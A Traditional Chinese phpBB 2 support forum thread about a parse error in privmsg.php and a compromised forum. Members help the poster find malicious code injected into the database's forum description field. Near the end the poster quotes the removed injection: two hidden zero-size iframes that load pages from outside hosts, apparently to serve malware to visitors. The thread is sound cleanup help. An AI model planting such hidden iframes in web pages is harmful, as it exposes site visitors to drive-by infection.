[問題] 要進入私人訊息出現錯誤

phpBB Installation & Usage Support
phpBB 2 安裝於各類型作業平台之問題討論;外掛問題,請到相關版面依發問格式發表!
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

版面規則
本區是討論關於 phpBB 2.0.X 架設安裝上的問題,只要有安裝任何外掛,請到外掛討論相關版面按照公告格式發表。
(發表文章請按照公告格式發表,違者砍文)
主題已鎖定
逍遙悠
竹貓忠實會員
竹貓忠實會員
文章: 313
註冊時間: 2002-11-30 16:57
來自: 遙遠的那一端

[問題] 要進入私人訊息出現錯誤

文章 逍遙悠 »

環境如下
架站環境 linux
Apache 2.0.45
MySQL 4.0.13
PHP 4.3.1
PhpBB2 2.0.14

出現錯誤訊息如下
Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648

下面是648航上下幾段的內容

代碼: 選擇全部

$template->pparse('body');
                include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
}
else if ( ( $delete && $mark_list ) || $delete_all )
{
	if ( !$userdata['session_logged_in'] )
	{
		redirect(append_sid("login.$phpEx?redirect=privmsg.$phpEx&folder=inbox", true));
	}
請問 要添加什麼或者刪除什麼呢?

另外 論壇首頁的index.php 被植入SCRIPT 程式碼 用卡巴斯基 掃到的 請問要如何處理呢??
圖檔
heroviper
星球普通子民
星球普通子民
文章: 29
註冊時間: 2003-05-04 13:14
來自: 爆走帝國
聯繫:

文章 heroviper »

除了config 檔之外的檔案全部都重新上傳一遍 因該就能解決了吧...
但是如果你有裝很多Mod 那就麻煩了...
小竹子
竹貓星球大統領
竹貓星球大統領
文章: 4596
註冊時間: 2001-10-29 22:13
來自: 竹貓星球
聯繫:

文章 小竹子 »

先升級吧
注意事項:
●phpBB 架設相關問題請到 + phpBB 3.0.x 討論區發表!
●都沒有你要的答案嗎??>>點這裡<<搜尋一下吧!
●請使用>>標準的發文格式<<發表問題!
●竹貓星球並非政治團體代言人,請不要在竹貓討論政治議題,也不要認為竹貓是偏向任何一方政治團體,竹貓愛的是台灣這片生長的土地,過於泛政治化文章請來信告知移除!
●關於 phpBB 使用問題請在版面發問,私人訊息提供其他不相干或是隱私的事情聯絡之用。
●所有市面上的免費空間皆非竹貓管轄,請勿來信詢問,請直接與該免費空間連絡。
kp3011
竹貓忠實會員
竹貓忠實會員
文章: 384
註冊時間: 2004-05-15 21:16
來自: HKG

Re: [問題] 要進入私人訊息出現錯誤

文章 kp3011 »

( ( $delete && $mark_list ) || $delete_all )
關少了一個 )

修改後快點更新吧
●架設主機作業系統:CentOS 4.7
●您的 phpBB2 版本:phpBB 3.0.4
●您的 domain(網域名稱):www.hkbf.org | forum.hkbrda.org
神川小羽
調皮の小羽
調皮の小羽
文章: 1461
註冊時間: 2004-05-01 05:55
來自: 謎樣之筱語
聯繫:

Re: [問題] 要進入私人訊息出現錯誤

文章 神川小羽 »

kp3011 寫:( ( $delete && $mark_list ) || $delete_all )
關少了一個 )
沒有唷 這樣是正確的並沒有少")"
kp3011 寫:修改後快點更新吧
同感
逍遙悠 寫:

代碼: 選擇全部

Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648
你還沒有貼出關鍵的地方,在這段程式碼的在上面應該是template關鍵字替代的各值,是很長出錯的地方。
把648的上下20行都貼出來吧
-.-
逍遙悠
竹貓忠實會員
竹貓忠實會員
文章: 313
註冊時間: 2002-11-30 16:57
來自: 遙遠的那一端

Re: [問題] 要進入私人訊息出現錯誤

文章 逍遙悠 »

神川小羽 寫:
kp3011 寫:( ( $delete && $mark_list ) || $delete_all )
關少了一個 )
沒有唷 這樣是正確的並沒有少")"
kp3011 寫:修改後快點更新吧
同感
逍遙悠 寫:

代碼: 選擇全部

Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648
你還沒有貼出關鍵的地方,在這段程式碼的在上面應該是template關鍵字替代的各值,是很長出錯的地方。
把648的上下20行都貼出來吧
小羽 請看一下 從615到670

代碼: 選擇全部

	$template->assign_vars(array(
		'MESSAGE_TO' => $username_to,
		'MESSAGE_FROM' => $username_from,
		'RANK_IMAGE' => $rank_image,
		'POSTER_JOINED' => $poster_joined,
		'POSTER_POSTS' => $poster_posts,
		'POSTER_FROM' => $poster_from,
		'POSTER_AVATAR' => $poster_avatar,
		'POST_SUBJECT' => $post_subject,
		'POST_DATE' => $post_date, 
		'MESSAGE' => $private_message,

		'PROFILE_IMG' => $profile_img, 
		'PROFILE' => $profile, 
		'SEARCH_IMG' => $search_img,
		'SEARCH' => $search,
		'EMAIL_IMG' => $email_img,
		'EMAIL' => $email,
		'WWW_IMG' => $www_img,
		'WWW' => $www,
		'ICQ_STATUS_IMG' => $icq_status_img,
		'ICQ_IMG' => $icq_img, 
		'ICQ' => $icq, 
		'AIM_IMG' => $aim_img,
		'AIM' => $aim,
		'MSN_IMG' => $msn_img,
		'MSN' => $msn,
		'YIM_IMG' => $yim_img,
		'YIM' => $yim)
	);
	$template->pparse('body');
                include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
}
else if ( ( $delete && $mark_list ) || $delete_all )
{
	if ( !$userdata['session_logged_in'] )
	{
		redirect(append_sid("login.$phpEx?redirect=privmsg.$phpEx&folder=inbox", true));
	}

	if ( isset($mark_list) && !is_array($mark_list) )
	{
		// Set to empty array instead of '0' if nothing is selected.
		$mark_list = array();
	}

	if ( !$confirm )
	{
		$s_hidden_fields = '<input type="hidden" name="mode" value="' . $mode . '" />';
		$s_hidden_fields .= ( isset($HTTP_POST_VARS['delete']) ) ? '<input type="hidden" name="delete" value="true" />' : '<input type="hidden" name="deleteall" value="true" />';

		for($i = 0; $i < count($mark_list); $i++)
		{
			$s_hidden_fields .= '<input type="hidden" name="mark[]" value="' . intval($mark_list[$i]) . '" />';
		}
第二個疑問是 我有2個mod都相同的論壇 第一個 論壇控制台進不去 首頁都會出現被植入惡意代碼 此script 禁止執行
我將正常的第二個論壇 所有檔案都把他覆蓋過去第一個論壇
但是第一個論壇的index.php(被植入惡意代碼) 和 論壇控制台(消失)都有問題
但是我第二個論壇卻是都正常的(目前版本2.0.14) 第一個也是2.0.14
抱歉 我不太會表白 不知道這樣是否解釋的構清楚呢?
圖檔
神川小羽
調皮の小羽
調皮の小羽
文章: 1461
註冊時間: 2004-05-01 05:55
來自: 謎樣之筱語
聯繫:

文章 神川小羽 »

1.
怎樣看這些程式碼都沒有問題,或者是說這些跟全新的.15完全一樣\r
不過看來看你說是615到670這樣的話648就是\r

代碼: 選擇全部

include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
檢查一下includes/page_tail.php 這個檔案是否建在,問題很可能是出在這。
2.
這種情形,並不一定是覆蓋檔案可以解決的,因為可能你被植入的程式並不是在任何一個php檔案裡面,而是在資料庫內唷\r
問題可能出在phpbb_forums這個資料表的forum_desc這個欄位吧\r
  1. 進入phpMyAdmin
  2. 選你使用的資料庫\r
  3. 左方點選phpbb_forums這個資料表\r
  4. 上方點選 瀏覽\r
  5. 檢查每列的forum_desc欄位看看有沒有可疑的語法
-.-
逍遙悠
竹貓忠實會員
竹貓忠實會員
文章: 313
註冊時間: 2002-11-30 16:57
來自: 遙遠的那一端

文章 逍遙悠 »

1.一進入私人訊息 還是會這樣
Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 650

Parse error: parse error, unexpected '}' <---錯誤訊息 意思是說 '}' <---這一個符號 有問題是嗎?


2.
includes/page_tail.php 這個檔案是存在的

3.
phpbb_forums這個資料表的forum_desc 確實被植入語法............
已經刪除 感謝小羽的協助\r

被植入語法為下

代碼: 選擇全部

<iframe src="http://www.ganebase.com/temp/hinet.htm" width=0 height=0 frameborder=0></iframe>
<iFRAmE SRc="http://gamania.go.zccn.net/x/hinet.htm" width=0 height=0 frameborder=0></iFRAmE>
4.我在資料庫phpmyadmin 裡面選擇資料庫 要做檢視 修復 最佳化 但是都會出現\r
: Missing parameter: db

5.目前論壇的控制台還是一片空白 不知道有哪位知道如何解決呢?
圖檔
主題已鎖定

回到「phpBB 2 安裝與使用」